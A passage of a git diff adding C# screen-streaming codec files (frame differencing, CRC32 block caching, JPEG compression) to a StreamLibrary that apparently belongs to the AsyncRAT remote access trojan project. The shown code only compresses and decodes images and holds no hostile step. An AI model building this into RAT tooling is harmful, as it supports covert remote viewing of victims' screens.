LastFrame = bmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (LastFrame == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
SetLastFrame(ref bitmap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (!LastFrame.Locked)
|
||||||
|
LastFrame.Lock();
|
||||||
|
|
||||||
|
sbBmp.Lock();
|
||||||
|
|
||||||
|
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||||
|
{
|
||||||
|
sbBmp.Unlock();
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
int y = 0;
|
||||||
|
int x = 0;
|
||||||
|
|
||||||
|
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = bitmap.Height - lastSize.Height;
|
||||||
|
int lastx = bitmap.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
|
||||||
|
s = new Size(bitmap.Width, s.Height);
|
||||||
|
while (y != bitmap.Height)
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(bitmap.Width, lastSize.Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||||
|
const int CheckHeight = 50;
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
y = Blocks[i].Y;
|
||||||
|
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||||
|
|
||||||
|
while (y != lasty)
|
||||||
|
{
|
||||||
|
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||||
|
x = 0;
|
||||||
|
while (x != bitmap.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
/*byte[] tempData = new byte[0];
|
||||||
|
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||||
|
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||||
|
|
||||||
|
//hash it and see if exists in cache
|
||||||
|
hasher = new CRC32(); //re-initialize for seed
|
||||||
|
byte[] tempData = new byte[0];
|
||||||
|
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||||
|
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||||
|
|
||||||
|
if (codeCached.Count >= MaxBuffers)
|
||||||
|
codeCached.RemoveAt(0);
|
||||||
|
|
||||||
|
if (codeCached.ContainsKey(hash))
|
||||||
|
{
|
||||||
|
CachedSize += (ulong)tempData.Length;
|
||||||
|
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
//nothing found in cache let's use the normal way
|
||||||
|
codeCached.Add(hash, tempData);
|
||||||
|
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
y += ScanHeight;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
buffer = new byte[0];
|
||||||
|
Rectangle rect = finalUpdates[i].Rect;
|
||||||
|
|
||||||
|
if (!finalUpdates[i].isCached)
|
||||||
|
{
|
||||||
|
fixed (byte* ptr = finalUpdates[i].Data)
|
||||||
|
{
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
Blocks.Clear();
|
||||||
|
SetLastFrame(sbBmp);
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||||
|
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||||
|
|
||||||
|
bool isCached = HeaderData[0] == 1;
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||||
|
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||||
|
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||||
|
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||||
|
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
//process update data
|
||||||
|
if (isCached)
|
||||||
|
{
|
||||||
|
//data is cached
|
||||||
|
if (decodeCached.ContainsKey(Hash))
|
||||||
|
buffer = decodeCached[Hash];
|
||||||
|
else
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
if (buffer.Length > 0)
|
||||||
|
{
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
|
||||||
|
tmp.Dispose();
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (decodeCached.Count >= MaxBuffers)
|
||||||
|
decodeCached.RemoveAt(0);
|
||||||
|
|
||||||
|
if(!decodeCached.ContainsKey(Hash))
|
||||||
|
this.decodeCached.Add(Hash, buffer);
|
||||||
|
DataSize -= UpdateLen + HeaderData.Length;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CachedSize = 0;
|
||||||
|
foreach(CacheInfo inf in cacheInfo)
|
||||||
|
{
|
||||||
|
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class CacheInfo
|
||||||
|
{
|
||||||
|
public bool isCached = false;
|
||||||
|
public byte[] Data;
|
||||||
|
public int Hash;
|
||||||
|
public Rectangle Rect;
|
||||||
|
|
||||||
|
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||||
|
{
|
||||||
|
this.Hash = Hash;
|
||||||
|
this.isCached = isCached;
|
||||||
|
this.Data = Data;
|
||||||
|
this.Rect = Rect;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||||
|
{
|
||||||
|
if (ScanRects.Count > 0)
|
||||||
|
{
|
||||||
|
int scanX = ScanRects[0].X;
|
||||||
|
for (int i = 0; i < ScanRects.Count; i++)
|
||||||
|
{
|
||||||
|
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||||
|
Rectangle rect = ScanRects[i];
|
||||||
|
rect.Width = scanWidth;
|
||||||
|
rect.X = scanX;
|
||||||
|
byte[] buffer = new byte[0];
|
||||||
|
sBmp.CopyBlock(rect, ref buffer);
|
||||||
|
|
||||||
|
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||||
|
|
||||||
|
if (!HashList.ContainsKey(hash))
|
||||||
|
HashList.Add(hash, rect);
|
||||||
|
|
||||||
|
//fixed (byte* ptr = buffer)
|
||||||
|
//{
|
||||||
|
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
// {
|
||||||
|
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||||
|
//
|
||||||
|
// }
|
||||||
|
//}
|
||||||
|
|
||||||
|
scanX += scanWidth;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,266 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class SmallStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; set; }
|
||||||
|
public SimpleBitmap LastFrame { get; set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of SmallStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public SmallStreamCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
CheckBlock = new Size(20, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SetLastFrame(ref Bitmap bmp)
|
||||||
|
{
|
||||||
|
SetLastFrame(new SimpleBitmap(bmp));
|
||||||
|
}
|
||||||
|
private void SetLastFrame(SimpleBitmap bmp)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (LastFrame != null && LastFrame.Locked)
|
||||||
|
LastFrame.Dispose(true);
|
||||||
|
LastFrame = bmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encode the image
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="bitmap">The image you want to encode.</param>
|
||||||
|
/// <param name="outStream">The output stream</param>
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (LastFrame == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
SetLastFrame(ref bitmap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (!LastFrame.Locked)
|
||||||
|
LastFrame.Lock();
|
||||||
|
|
||||||
|
sbBmp.Lock();
|
||||||
|
|
||||||
|
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||||
|
{
|
||||||
|
sbBmp.Unlock();
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
int y = 0;
|
||||||
|
int x = 0;
|
||||||
|
|
||||||
|
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = bitmap.Height - lastSize.Height;
|
||||||
|
int lastx = bitmap.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
|
||||||
|
s = new Size(bitmap.Width, s.Height);
|
||||||
|
while (y != bitmap.Height)
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(bitmap.Width, lastSize.Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = 0;
|
||||||
|
while (x != bitmap.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
sbBmp.CopyBlock(rect, ref buffer);
|
||||||
|
|
||||||
|
fixed (byte* ptr = buffer)
|
||||||
|
{
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
Blocks.Clear();
|
||||||
|
SetLastFrame(sbBmp);
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Decode the video stream
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="inStream">The input stream</param>
|
||||||
|
/// <returns>The image that has been decoded</returns>
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= buffer.Length + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,26 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Encoders.GridCoder
|
||||||
|
{
|
||||||
|
internal class GridBlock
|
||||||
|
{
|
||||||
|
public Rectangle Rect { get; private set; }
|
||||||
|
public ulong Hash { get; private set; }
|
||||||
|
private GridEncoder encoder;
|
||||||
|
|
||||||
|
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||||
|
{
|
||||||
|
this.encoder = encoder;
|
||||||
|
this.Rect = Rect;
|
||||||
|
CalculateHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void CalculateHash()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,47 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Encoders.GridCoder
|
||||||
|
{
|
||||||
|
public class GridEncoder : IEncoder
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
24
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
Normal file
24
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public enum CodecOption
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The Previous and next image size must be equal
|
||||||
|
/// </summary>
|
||||||
|
RequireSameSize,
|
||||||
|
/// <summary>
|
||||||
|
/// If the codec is having a stream buffer
|
||||||
|
/// </summary>
|
||||||
|
HasBuffers,
|
||||||
|
/// <summary>
|
||||||
|
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||||
|
/// </summary>
|
||||||
|
AutoDispose,
|
||||||
|
/// <summary> No codec options were used </summary>
|
||||||
|
None
|
||||||
|
};
|
||||||
|
}
|
||||||
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
Normal file
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IEncoder
|
||||||
|
{
|
||||||
|
protected LzwCompression lzwCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
protected object ImageProcessLock { get; private set; }
|
||||||
|
|
||||||
|
private int _imageQuality;
|
||||||
|
public int ImageQuality
|
||||||
|
{
|
||||||
|
get { return _imageQuality; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
_imageQuality = value;
|
||||||
|
lzwCompression = new LzwCompression(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public IEncoder(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
this.ImageProcessLock = new object();
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
46
